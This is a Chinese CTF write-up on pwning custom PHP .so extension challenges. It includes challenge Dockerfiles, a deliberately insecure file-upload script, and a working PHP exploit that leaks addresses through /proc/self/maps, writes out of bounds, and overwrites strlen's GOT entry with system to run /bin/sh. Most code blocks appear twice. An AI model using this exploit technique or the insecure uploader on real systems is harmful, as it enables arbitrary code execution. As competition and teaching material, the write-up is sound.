-
-
[原创]CTF php .so pwn 题型分析
-
发表于: 2024-6-4 13:18 19795
-
最近打比赛 遇到了几道 php so 模块的 pwn 题,个人感觉挺有意思的
一般情况下会把php 大部分函数 ban 掉,只是用 自定义so 文件里的函数
虽然里面函数名前面有zif_
,实际上调用的函数名是
https://www.bookstack.cn/read/phpbook/7.1.md
最简单的获取函数调用者传递过来的参数便是使用zend_parse_parameters()函数。zend_parse_parameters()函数的前几个参数我们直接用内核里宏来生成便可以了,形式为:ZEND_NUM_ARGS() TSRMLS_CC,注意两者之间有个空格,但是没有逗号。从名字可以看出,ZEND_NUM_ARGS()代表着参数的个数。紧接着需要传递给zend_parse_parameters()函数的参数是一个用于格式化的字符串,就像printf的第一个参数一样。下面表示了最常用的几个符号。
如果参数不是预期的数量和类型,zend_parse_parameters
会返回 -1 否则 0
简单了解下 lzz
是什么东东
bin_data_size的映射表,将宏定义展开为如下数组所示:
大致结构体
正常情况下,array_size 是 4
array_size 被改 ( 和quicksort 有关),基本上使用 edit 时 idx 就没有限制了,只要知道 heap 地址和另一个地址,即可实现任意地址写
然后把所需要的 so 放到指定目录, 后面再启动的后应该就可以成功加载了
直接用本机apache2 + php 环境调试,
所以说,没法直接调试,我们可以是用 /usr/sbin/apachectl -X
即可调试进程. apachectl
是一个 shell脚本
add_chunk()
show_chunk()
edit_chunk()
edit_name()
free_chunk()
add_chunk()
show_chunk()
edit_chunk()
edit_name()
free_chunk()
<?php
echo
"123"
;
echo
"123"
;
add_chunk(1,[0x23],
"name"
);
?>
<?php
echo
"123"
;
echo
"123"
;
add_chunk(1,[0x23],
"name"
);
?>
rdi 第一个参数可能是 传递参数的数量,
rsi 可以通过该指针指向的字符数量来得知正确的参数数量(当前add_chunk) `lzz` 3个参数 类型
rdi 第一个参数可能是 传递参数的数量,
rsi 可以通过该指针指向的字符数量来得知正确的参数数量(当前add_chunk) `lzz` 3个参数 类型
4 int
6 strings
7 arrary
4 int
6 strings
7 arrary
int
zend_parse_parameters(
size_t
arg_num,
char
*TypeChar, ...)
int
zend_parse_parameters(
size_t
arg_num,
char
*TypeChar, ...)
b Boolean
l Integer 整型
d Floating point 浮点型
s String 字符串
r Resource 资源
a Array 数组
o
Object
instance 对象
O
Object
instance of a specified
type
特定类型的对象
z Non
-
specific zval 任意类型~
Z zval
*
*
类型
f 表示函数、方法名称,PHP5.
3
之前没有的
b Boolean
l Integer 整型
d Floating point 浮点型
s String 字符串
r Resource 资源
a Array 数组
o
Object
instance 对象
O
Object
instance of a specified
type
特定类型的对象
z Non
-
specific zval 任意类型~
Z zval
*
*
类型
f 表示函数、方法名称,PHP5.
3
之前没有的
uint32_t bin_data_size[] = {8, 16, 24, 32, 40, 48, 56, 64, 80, 96, 112, 128, 160, 192, 224, 256, 320, 384, 448, 512, 640, 768, 896, 1024, 1280, 1536, 1792, 2048, 2560, 3072 ...};
uint32_t bin_data_size[] = {8, 16, 24, 32, 40, 48, 56, 64, 80, 96, 112, 128, 160, 192, 224, 256, 320, 384, 448, 512, 640, 768, 896, 1024, 1280, 1536, 1792, 2048, 2560, 3072 ...};
#!/usr/bin/python3
import
sys
import
tempfile
import
os
sys.stdout.write(
"File size >> "
)
sys.stdout.flush()
size
=
int
(sys.stdin.readline().strip())
if
size >
1024
*
1024
:
sys.stdout.write(
"Too large!"
)
sys.stdout.flush()
sys.exit(
1
)
sys.stdout.write(
"Data >> "
)
sys.stdout.flush()
script
=
sys.stdin.read(size)
filename
=
tempfile.mktemp()
with
open
(filename,
"w"
) as f:
f.write(script)
os.system(
"php "
+
filename)
#!/usr/bin/python3
import
sys
import
tempfile
import
os
sys.stdout.write(
"File size >> "
)
sys.stdout.flush()
size
=
int
(sys.stdin.readline().strip())
if
size >
1024
*
1024
:
sys.stdout.write(
"Too large!"
)
sys.stdout.flush()
sys.exit(
1
)
sys.stdout.write(
"Data >> "
)
sys.stdout.flush()
script
=
sys.stdin.read(size)
filename
=
tempfile.mktemp()
with
open
(filename,
"w"
) as f:
f.write(script)
os.system(
"php "
+
filename)
FROM php:
8.3
-
apache
RUN apt
-
get update
RUN apt
-
get upgrade
-
y
RUN DEBIAN_FRONTEND
=
noninteractive
RUN apt install lib32z1 xinetd libstdc
+
+
6
lib32stdc
+
+
6
python3
-
y
RUN useradd
-
m ctf
RUN echo
"ctf:ctf"
| chpasswd
WORKDIR
/
home
/
ctf
ADD ynetd
/
home
/
ctf
ADD server.py
/
home
/
ctf
ADD run.sh
/
home
/
ctf
COPY .
/
php.ini
/
usr
/
local
/
etc
/
php
COPY .
/
numberGame.so
/
usr
/
local
/
lib
/
php
/
extensions
/
no
-
debug
-
non
-
zts
-
20230831
COPY .
/
readflag
/
COPY .
/
flag.txt
/
flag.txt
RUN chmod
400
/
flag.txt
RUN chmod u
+
sx
/
readflag
EXPOSE
5555
CMD .
/
ynetd
-
p
5555
"timeout 30 ./run.sh"
FROM php:
8.3
-
apache
RUN apt
-
get update
RUN apt
-
get upgrade
-
y
RUN DEBIAN_FRONTEND
=
noninteractive
RUN apt install lib32z1 xinetd libstdc
+
+
6
lib32stdc
+
+
6
python3
-
y
RUN useradd
-
m ctf
RUN echo
"ctf:ctf"
| chpasswd
WORKDIR
/
home
/
ctf
ADD ynetd
/
home
/
ctf
ADD server.py
/
home
/
ctf
ADD run.sh
/
home
/
ctf
COPY .
/
php.ini
/
usr
/
local
/
etc
/
php
COPY .
/
numberGame.so
/
usr
/
local
/
lib
/
php
/
extensions
/
no
-
debug
-
non
-
zts
-
20230831
COPY .
/
readflag
/
COPY .
/
flag.txt
/
flag.txt
RUN chmod
400
/
flag.txt
RUN chmod u
+
sx
/
readflag
EXPOSE
5555
CMD .
/
ynetd
-
p
5555
"timeout 30 ./run.sh"
docker load -i jingxiang.
tar
.gz
docker load -i jingxiang.
tar
.gz
docker run
-
-
name run_numbergame
-
p
5555
:
5555
-
itd numbergame:latest
docker run
-
-
name run_numbergame
-
p
5555
:
5555
-
itd numbergame:latest
struct
mechunk{
size_t
*name_ptr;
size_t
num;
size_t
array_size;
// 默认 最大 100, 通过漏洞使这里变大,我们既可以实现数组越界
...;
};
struct
mechunk{
size_t
*name_ptr;
size_t
num;
size_t
array_size;
// 默认 最大 100, 通过漏洞使这里变大,我们既可以实现数组越界
...;
};
<?php
$heap_base
= 0;
$libc_base
= 0;
$libc
=
""
;
$mbase
=
""
;
function
u64(
$leak
){
$leak
=
strrev
(
$leak
);
$leak
= bin2hex(
$leak
);
$leak
= hexdec(
$leak
);
return
$leak
;
}
function
p64(
$addr
){
$addr
=
dechex
(
$addr
);
$addr
= hex2bin(
$addr
);
$addr
=
strrev
(
$addr
);
$addr
=
str_pad
(
$addr
, 8,
"\x00"
);
return
$addr
;
}
function
leakaddr(
$buffer
){
global
$libc
,
$mbase
;
$p
=
'/([0-9a-f]+)\-[0-9a-f]+ .* \/usr\/lib\/x86_64-linux-gnu\/libc.so.6/'
;
$p1
=
'/([0-9a-f]+)\-[0-9a-f]+ .* \/usr\/local\/lib\/php\/extensions\/no-debug-non-zts-20230831\/numberGame.so/'
;
preg_match_all(
$p
,
$buffer
,
$libc
);
preg_match_all(
$p1
,
$buffer
,
$mbase
);
return
""
;
}
ob_start(
"leakaddr"
);
include
(
"/proc/self/maps"
);
$buffer
= ob_get_contents();
ob_end_flush();
leakaddr(
$buffer
);
echo
"\n----1-----\n"
;
add_chunk(5,[0,0,0,0x80000000,0],
"test1"
); # 需要构造好
#add_chunk(1,[0],
"/bin/sh;"
);
add_chunk(1,[0],
"/bin/sh"
);
$rel
= show_chunk(0); # 这里触发漏洞 vlun 会把数组控制的范围增大,然后 越界修改和泄露其他地方的值
$heap
=
$rel
[7];
$heap
+= (
$rel
[8] << 0x20);
// 泄露 heap 地址
$of
=
$heap
- 72; # 数组起始
#
$str_got
= hexdec(
$mbase
[1][0])+ 0x4008;
// 计算 strlen 的地址,
##
echo
"\n----heap-----\n"
;
echo
dechex
(
$heap
);
echo
"\n----4-----\n"
;
echo
$libc
[1][0];
echo
"\n----4-----\n"
;
#
$offset
= (
$str_got
-
$of
) / 4;
$system
= (hexdec(
$libc
[1][0]) + 0x4c490);
echo
$offset
;
edit_chunk(0,
$offset
,
$system
& 0xffffffff); # 修改strlen_got表低四字节为 system
//修改name 的时候 会先 strlen测量 name 的长度 strlen("/bin/sh");
edit_name(1,
'1'
); #
?>
<?php
$heap_base
= 0;
$libc_base
= 0;
$libc
=
""
;
$mbase
=
""
;
function
u64(
$leak
){
$leak
=
strrev
(
$leak
);
$leak
= bin2hex(
$leak
);
$leak
= hexdec(
$leak
);
return
$leak
;
}
function
p64(
$addr
){
$addr
=
dechex
(
$addr
);
$addr
= hex2bin(
$addr
);
$addr
=
strrev
(
$addr
);
$addr
=
str_pad
(
$addr
, 8,
"\x00"
);
return
$addr
;
}
function
leakaddr(
$buffer
){
global
$libc
,
$mbase
;
$p
=
'/([0-9a-f]+)\-[0-9a-f]+ .* \/usr\/lib\/x86_64-linux-gnu\/libc.so.6/'
;
$p1
=
'/([0-9a-f]+)\-[0-9a-f]+ .* \/usr\/local\/lib\/php\/extensions\/no-debug-non-zts-20230831\/numberGame.so/'
;
preg_match_all(
$p
,
$buffer
,
$libc
);
preg_match_all(
$p1
,
$buffer
,
$mbase
);
return
""
;
}
ob_start(
"leakaddr"
);
include
(
"/proc/self/maps"
);
$buffer
= ob_get_contents();
ob_end_flush();
leakaddr(
$buffer
);
echo
"\n----1-----\n"
;
add_chunk(5,[0,0,0,0x80000000,0],
"test1"
); # 需要构造好
#add_chunk(1,[0],
"/bin/sh;"
);
add_chunk(1,[0],
"/bin/sh"
);
$rel
= show_chunk(0); # 这里触发漏洞 vlun 会把数组控制的范围增大,然后 越界修改和泄露其他地方的值
$heap
=
$rel
[7];
$heap
+= (
$rel
[8] << 0x20);
// 泄露 heap 地址
$of
=
$heap
- 72; # 数组起始
#
$str_got
= hexdec(
$mbase
[1][0])+ 0x4008;
// 计算 strlen 的地址,
##
echo
"\n----heap-----\n"
;
echo
dechex
(
$heap
);
echo
"\n----4-----\n"
;
echo
$libc
[1][0];
echo
"\n----4-----\n"
;
#
$offset
= (
$str_got
-
$of
) / 4;
$system
= (hexdec(
$libc
[1][0]) + 0x4c490);
echo
$offset
;
edit_chunk(0,
$offset
,
$system
& 0xffffffff); # 修改strlen_got表低四字节为 system
//修改name 的时候 会先 strlen测量 name 的长度 strlen("/bin/sh");
edit_name(1,
'1'
); #
?>
FROM php:8.3-apache
RUN apt-get update
RUN apt-get upgrade -y
RUN DEBIAN_FRONTEND=noninteractive
RUN apt install vim -y
COPY
./stuff/php.ini /usr/local/etc/php
COPY
./stuff/vuln.so /usr/local/lib/php/extensions/no-debug-non-zts-20230831
COPY
./stuff/readflag /
COPY
./flag.txt /flag.txt
COPY
./stuff/index.php /
var
/www/html
RUN
chmod
400 /flag.txt
RUN
chmod
u+sx /readflag
RUN
chmod
-R 777 /
var
/www/html
FROM php:8.3-apache
RUN apt-get update
RUN apt-get upgrade -y
RUN DEBIAN_FRONTEND=noninteractive
RUN apt install vim -y
COPY
./stuff/php.ini /usr/local/etc/php
COPY
./stuff/vuln.so /usr/local/lib/php/extensions/no-debug-non-zts-20230831
COPY
./stuff/readflag /
COPY
./flag.txt /flag.txt
COPY
./stuff/index.php /
var
/www/html
RUN
chmod
400 /flag.txt
RUN
chmod
u+sx /readflag
RUN
chmod
-R 777 /
var
/www/html
<?php
@
error_reporting
(E_ALL);
$file
=
$_FILES
[
'file'
];
if
(!isset(
$file
)){
die
(
'upload error'
);
}
$result
= move_uploaded_file(
$file
[
'tmp_name'
],
$file
[
'name'
]);
if
(
$result
){
echo
'upload success'
;
}
else
{
echo
'upload error'
;
}
<?php
@
error_reporting
(E_ALL);
$file
=
$_FILES
[
'file'
];
if
(!isset(
$file
)){
die
(
'upload error'
);
}
$result
= move_uploaded_file(
$file
[
'tmp_name'
],
$file
[
'name'
]);
if
(
$result
){
echo
'upload success'
;
}
else
{
echo
'upload error'
;
}
/etc/php/8
.3
/apache2/php
.ini
添加
extension = vuln.so
/etc/php/8
.3
/apache2/php
.ini
添加
extension = vuln.so
from
pwn
import
*
from
os
import
system
import
sys
s
=
lambda
data :io.send(data)
sa
=
lambda
delim,data :io.sendafter(
str
(delim), data)
sl
=
lambda
data :io.sendline(data)
sla
=
lambda
delim,data :io.sendlineafter(
str
(delim), data)
r
=
lambda
num :io.recv(num)
ru
=
lambda
delims, drop
=
True
:io.recvuntil(delims, drop)
rl
=
lambda
:io.recvline()
itr
=
lambda
:io.interactive()
uu32
=
lambda
data :u32(data.ljust(
4
,b
'\x00'
))
uu64
=
lambda
data :u64(data.ljust(
8
,b
'\x00'
))
ls
=
lambda
data :log.success(data)
lss
=
lambda
s :log.success(
'\033[1;31;40m%s --> 0x%x \033[0m'
%
(s,
eval
(s)))
context.arch
=
'amd64'
context.log_level
=
'debug'
context.terminal
=
[
'tmux'
,
'splitw'
,
'-h'
,
'-l'
,
'190'
]
def
start(binary,argv
=
[],
*
a,
*
*
kw):
'''Start the exploit against the target.'''
if
args.GDB:
return
gdb.debug([binary]
+
argv, gdbscript
=
gdbscript,
*
a,
*
*
kw)
elif
args.RE:
return
remote()
elif
args.AWD:
# python3 exp.py AWD 1.1.1.1 PORT
IP
=
str
(sys.argv[
1
])
PORT
=
int
(sys.argv[
2
])
return
remote(IP,PORT)
else
:
return
process([binary]
+
argv,
*
a,
*
*
kw)
io
=
process([
'/usr/sbin/apachectl'
,
'-X'
])
print
(io.pid)
sleep(
0.1
)
import
subprocess
gdbscript
=
'''
b *zif_addHacker
#b *zif_displayHacker
b *zif_editHacker
#b *zif_editHacker
c
'''
command
=
[
"pgrep"
,
"-f"
,
"/usr/sbin/apache2"
]
result
=
subprocess.run(command, capture_output
=
True
, text
=
True
)
pids
=
int
(result.stdout.strip().split(
"\n"
)[
0
])
gdb.attach(pids,gdbscript)
pause()
system(
'cp exp.php /var/www/html/exp.php'
)
system(
'curl http://127.0.0.1/exp.php'
)
itr()
from
pwn
import
*
from
os
import
system
import
sys
s
=
lambda
data :io.send(data)
sa
=
lambda
delim,data :io.sendafter(
str
(delim), data)
sl
=
lambda
data :io.sendline(data)
sla
=
lambda
delim,data :io.sendlineafter(
str
(delim), data)
r
=
lambda
num :io.recv(num)
ru
=
lambda
delims, drop
=
True
:io.recvuntil(delims, drop)
rl
=
lambda
:io.recvline()
itr
=
lambda
:io.interactive()
uu32
=
lambda
data :u32(data.ljust(
4
,b
'\x00'
))
uu64
=
lambda
data :u64(data.ljust(
8
,b
'\x00'
))
ls
=
lambda
data :log.success(data)
lss
=
lambda
s :log.success(
'\033[1;31;40m%s --> 0x%x \033[0m'
%
(s,
eval
(s)))
context.arch
=
'amd64'
context.log_level
=
'debug'
context.terminal
=
[
'tmux'
,
'splitw'
,
'-h'
,
'-l'
,
'190'
]
def
start(binary,argv
=
[],
*
a,
*
*
kw):
'''Start the exploit against the target.'''
if
args.GDB:
return
gdb.debug([binary]
+
argv, gdbscript
=
gdbscript,
*
a,
*
*
kw)
elif
args.RE:
return
remote()
elif
args.AWD:
# python3 exp.py AWD 1.1.1.1 PORT
IP
=
str
(sys.argv[
1
])
PORT
=
int
(sys.argv[
2
])
return
remote(IP,PORT)
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!